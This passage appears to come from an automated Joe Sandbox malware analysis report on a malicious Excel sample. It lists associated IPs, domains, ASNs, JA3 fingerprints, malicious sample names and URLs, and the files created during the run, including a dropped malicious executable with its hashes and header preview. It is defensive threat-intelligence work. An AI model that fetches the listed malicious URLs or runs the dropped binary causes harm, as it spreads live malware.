                                                                                                                                                  • Successful, ratio: 100%
                                                                                                                                                  • Number of executed functions: 19
                                                                                                                                                  • Number of non-executed functions: 237
                                                                                                                                                  Cookbook Comments:
                                                                                                                                                  • Found application associated with file extension: .xls
                                                                                                                                                  • Changed system and user locale, location and keyboard layout to English - United States

                                                                                                                                                  Warnings

                                                                                                                                                  • Max analysis timeout: 600s exceeded, the analysis took too long
                                                                                                                                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, audiodg.exe, WMIADAP.exe, MusNotifyIcon.exe, SgrmBroker.exe, backgroundTaskHost.exe, svchost.exe
                                                                                                                                                  • Excluded IPs from analysis (whitelisted): 52.109.88.191, 20.25.84.51, 23.35.236.109, 40.127.240.158, 51.104.136.2
                                                                                                                                                  • Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, settings-prod-neu-2.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, atm-settingsfe-prod-geo2.trafficmanager.net, login.live.com, config.officeapps.live.com, e16604.g.akamaiedge.net, nexus.officeapps.live.com, settings-prod-neu-1.northeurope.cloudapp.azure.com, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, europe.configsvc1.live.com.akadns.net
                                                                                                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                  • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                  • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                  • Report size getting too big, too many NtReadVirtualMemory calls found.

                                                                                                                                                  Simulations

                                                                                                                                                  Behavior and APIs

                                                                                                                                                  TimeTypeDescription
                                                                                                                                                  12:05:55API Interceptor560x Sleep call for process: powershell.exe modified

                                                                                                                                                  Joe Sandbox View / Context

                                                                                                                                                  IPs

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                  93.93.131.124doc.docGet hashmaliciousBrowse
                                                                                                                                                  • the.earth.li/~sgtatham/putty/latest/w64/putty.exe
                                                                                                                                                  lmfao.docGet hashmaliciousBrowse
                                                                                                                                                  • the.earth.li/~sgtatham/putty/0.63/x86/pscp.exe

                                                                                                                                                  Domains

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                  the.earth.lidoc.docGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  https://the.earth.li/~sgtatham/putty/latest/w64/putty-64bit-0.76-installer.msiGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  1mixELaybY.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  smphost.dllGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  #U043a#U043d#U043e#U043f#U043a#U0430.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  #U043a#U043d#U043e#U043f#U043a#U0430.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  #U043a#U043d#U043e#U043f#U043a#U0430.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  Microsoft Excel.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  Microsoft Excel.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  lmfao.docGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  YOeg64zDX4.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  payload.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  do7ZLDDsHX.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  https://e.coka.la/V42OO5.htaGet hashmaliciousBrowse
                                                                                                                                                  • 46.43.34.31
                                                                                                                                                  https://e.coka.la/V42OO5.htaGet hashmaliciousBrowse
                                                                                                                                                  • 46.43.34.31
                                                                                                                                                  Moving_list_of_the_day.xlsxGet hashmaliciousBrowse
                                                                                                                                                  • 46.43.34.31
                                                                                                                                                  m.docGet hashmaliciousBrowse
                                                                                                                                                  • 46.43.34.31
                                                                                                                                                  m.docGet hashmaliciousBrowse
                                                                                                                                                  • 46.43.34.31
                                                                                                                                                  m.docGet hashmaliciousBrowse
                                                                                                                                                  • 46.43.34.31
                                                                                                                                                  Your_Invoice_4886.docGet hashmaliciousBrowse
                                                                                                                                                  • 46.43.34.31

                                                                                                                                                  ASNs

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                  MYTHICMythicBeastsLtdGB7XlWWSA2LU.dllGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.132.33
                                                                                                                                                  section_228_highways_agreement 34377.jsGet hashmaliciousBrowse
                                                                                                                                                  • 46.235.226.209
                                                                                                                                                  dfas_telework_agreement 20731.jsGet hashmaliciousBrowse
                                                                                                                                                  • 46.235.226.209
                                                                                                                                                  private_child_support_agreement_template 17845.jsGet hashmaliciousBrowse
                                                                                                                                                  • 46.235.226.209
                                                                                                                                                  making_a_contract_legally_binding_30040.jsGet hashmaliciousBrowse
                                                                                                                                                  • 46.235.226.209
                                                                                                                                                  illegalargumentexception_comparison_method_violates_its_general_contra 70051.jsGet hashmaliciousBrowse
                                                                                                                                                  • 46.235.226.209
                                                                                                                                                  electrical_contractor_agreement_template 5445.jsGet hashmaliciousBrowse
                                                                                                                                                  • 46.235.226.209
                                                                                                                                                  gootloader_stage1.jsGet hashmaliciousBrowse
                                                                                                                                                  • 46.235.226.209
                                                                                                                                                  difference_between_service_contract_and_employment_contract 98116.jsGet hashmaliciousBrowse
                                                                                                                                                  • 46.235.226.209
                                                                                                                                                  print_scheduling_agreement_sap 4874.jsGet hashmaliciousBrowse
                                                                                                                                                  • 46.235.226.209
                                                                                                                                                  chase_heloc_subordination_form 86327.jsGet hashmaliciousBrowse
                                                                                                                                                  • 46.235.226.209
                                                                                                                                                  doc.docGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  https://the.earth.li/~sgtatham/putty/latest/w64/putty-64bit-0.76-installer.msiGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  1mixELaybY.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  smphost.dllGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  arm7Get hashmaliciousBrowse
                                                                                                                                                  • 46.235.224.242
                                                                                                                                                  #U043a#U043d#U043e#U043f#U043a#U0430.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  #U043a#U043d#U043e#U043f#U043a#U0430.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  #U043a#U043d#U043e#U043f#U043a#U0430.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  PO-(105152)-20610603_.PDF.exeGet hashmaliciousBrowse
                                                                                                                                                  • 46.235.230.162

                                                                                                                                                  JA3 Fingerprints

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                  54328bd36c14bd82ddaa0c04b25ed9ad(64-Bit) EDRW Patcher v1.1.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  QXt73akSrt.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  92bRae3hWT.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  92bRae3hWT.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  #Uae40#Uae30#Ud658.docxGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  s3g53o.dotm.docGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  informacje_dla_odbiorcy.vbsGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  dddCDN2SXL.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  file.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  v871sAew5Z.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  file.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  file.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  9410577519C75DAB17A170287165CDD8F00F047FEE35A.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  X1Irpwl2n0.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  C4Loader.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  file.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  SecuriteInfo.com.FileRepMalware.3448.20129.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  Pr8YHNUTar.exeGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  GiftNft.jsGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124
                                                                                                                                                  GiftNft.jsGet hashmaliciousBrowse
                                                                                                                                                  • 93.93.131.124

                                                                                                                                                  Dropped Files

                                                                                                                                                  ⊘No context

                                                                                                                                                  Created / dropped Files

                                                                                                                                                  C:\Users\Public\pin77.exe

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1477416
                                                                                                                                                  Entropy (8bit):7.105848296111733
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:24576:OTyfiD4jBr22smnkqnYvx5IOPQA4joBYd6YTekB7N5qu2Bcjf59SD/Dv:D68bxSQApsRekBeZm8
                                                                                                                                                  MD5:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  SHA1:633602BAE798867894494717268CA818F923CA18
                                                                                                                                                  SHA-256:D83494CFB155056118365455F5396401E97BD50A156242F2B5025A44C67095B1
                                                                                                                                                  SHA-512:7ED48D1BF7E514A736A34842A5A3ED18ADE06A304B45C0520BD15C53CB95A8BF997C073030A88C1133C7DF6E5AD08F44FE1A89EE90C79499E6FD54CE3FCD1BA0
                                                                                                                                                  Malicious:true
                                                                                                                                                  Antivirus:
                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                  • Antivirus: Virustotal, Detection: 3%, Browse
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....\c.................R..........6.............@..................................)....@.................................X...........X............4..(W... ..\...................................................\...P............................text....Q.......R.................. ..`.rdata.......p.......V..............@..@.data....@..........................@....00cfg.......P......................@..@.tls.........`......................@....voltbl......p...........................rsrc...X...........................@..@.reloc..\.... ......................@..B........................................................................................................................................................................................................................................................................................................................

                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\BDCC5888-C698-441E-B0C1-65519FFD7790

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):151067
                                                                                                                                                  Entropy (8bit):5.357843109075545
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:1536:1+C7/gUMB5BQguwUBQ9DQe+zQVk4F77nXmvidlXRcE6Lcz6I:AsQ9DQe+zwXzl
                                                                                                                                                  MD5:8F562998897C1CE7E715FB6ABE2D50E6
                                                                                                                                                  SHA1:77264E739A2FD810A86A8B1254F9E0ECAE24C0AF
                                                                                                                                                  SHA-256:34EACF68AD7CA671C66E3632ADD3936A0E7CA124CBDC55B27EED9CF8A7F7DDB0
                                                                                                                                                  SHA-512:1B9F13979E92F360B8E88AEC86AEF41826725D1F95F21F90D455BC2E334C528CA455A31558F602444BFB6AA8DAE795A00D2E27CCAB2DF74CC3AF4724DAEA1097
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2022-12-04T11:05:49">.. Build: 16.0.15925.30525-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId" o:authentication="1">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. <o:ticket o:policy="MBI_SSL_SHORT" o:idprovider="1" o:target="[MAX.AuthHost]" o:headerValue="Passport1.4 from-PP='{}&amp;p='" />.. <o:ticket o:idprovider="3" o:headerValue="Bearer {}" o:resourceId="[MAX.ResourceId]" o:authorityUrl="[ADALAuthorityU

                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:data
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):5829
                                                                                                                                                  Entropy (8bit):4.8968676994158
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:96:WCJ2Woe5o2k6Lm5emmXIGvgyg12jDs+un/iQLEYFjDaeWJ6KGcmXx9smyFRLcU6f:5xoe5oVsm5emd0gkjDt4iWN3yBGHh9s6
                                                                                                                                                  MD5:36DE9155D6C265A1DE62A448F3B5B66E
                                                                                                                                                  SHA1:02D21946CBDD01860A0DE38D7EEC6CDE3A964FC3
                                                                                                                                                  SHA-256:8BA38D55AA8F1E4F959E7223FDF653ABB9BE5B8B5DE9D116604E1ABB371C1C87
                                                                                                                                                  SHA-512:C734ADE161FB89472B1DF9B9F062F4A53E7010D3FF99EDC0BD564540A56BC35743625C50A00635C31D165A74DCDBB330FFB878C5919D7B267F6F33D2AAB328E7
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:PSMODULECACHE......<.e...Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........<.e...T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:data
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):18772
                                                                                                                                                  Entropy (8bit):5.576485819736225
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:384:5tUmQ/e4JxkKBXRngSBE8nsjulvvIkGXvEgo/3f4NmFKJGYo:rqxNB5g4E8sCl3QcFPPqo
                                                                                                                                                  MD5:2F407AECCC870E8C7209366FAEF21AB3
                                                                                                                                                  SHA1:307C63EEC4950895393F77CE9024C9FB0EE84E3F
                                                                                                                                                  SHA-256:282CE3C9656D4EE636EE9299653755F7F56C74EC3283BDE5518840EBE8B86279
                                                                                                                                                  SHA-512:0BDB5AB46935354A00CCED5F1CBE427A960F38839E8B3FA6E84342EB6D4E7B4CB3A5EC24F38879E691A1FA6961C9C44B48C58B84D0019A76400FDA03AD409227
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:@...e...........=...................G.....z..........@..........H...............<@.^.L."My...:6..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices<................):gK..G...$.1.q........System.ConfigurationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.P................./.C..J..%...].,.....%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0bpgqq5x.1jz.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0hsy3xul.cp0.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0t21yhij.j0y.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1cgt4uun.k00.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1hcmpxfc.azm.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2lyphhy2.qn5.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_41udbdwl.qtw.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_41ygxw52.qvn.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_42ubwxok.dpp.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5lnmn42b.yjj.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5weckvr2.4fj.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
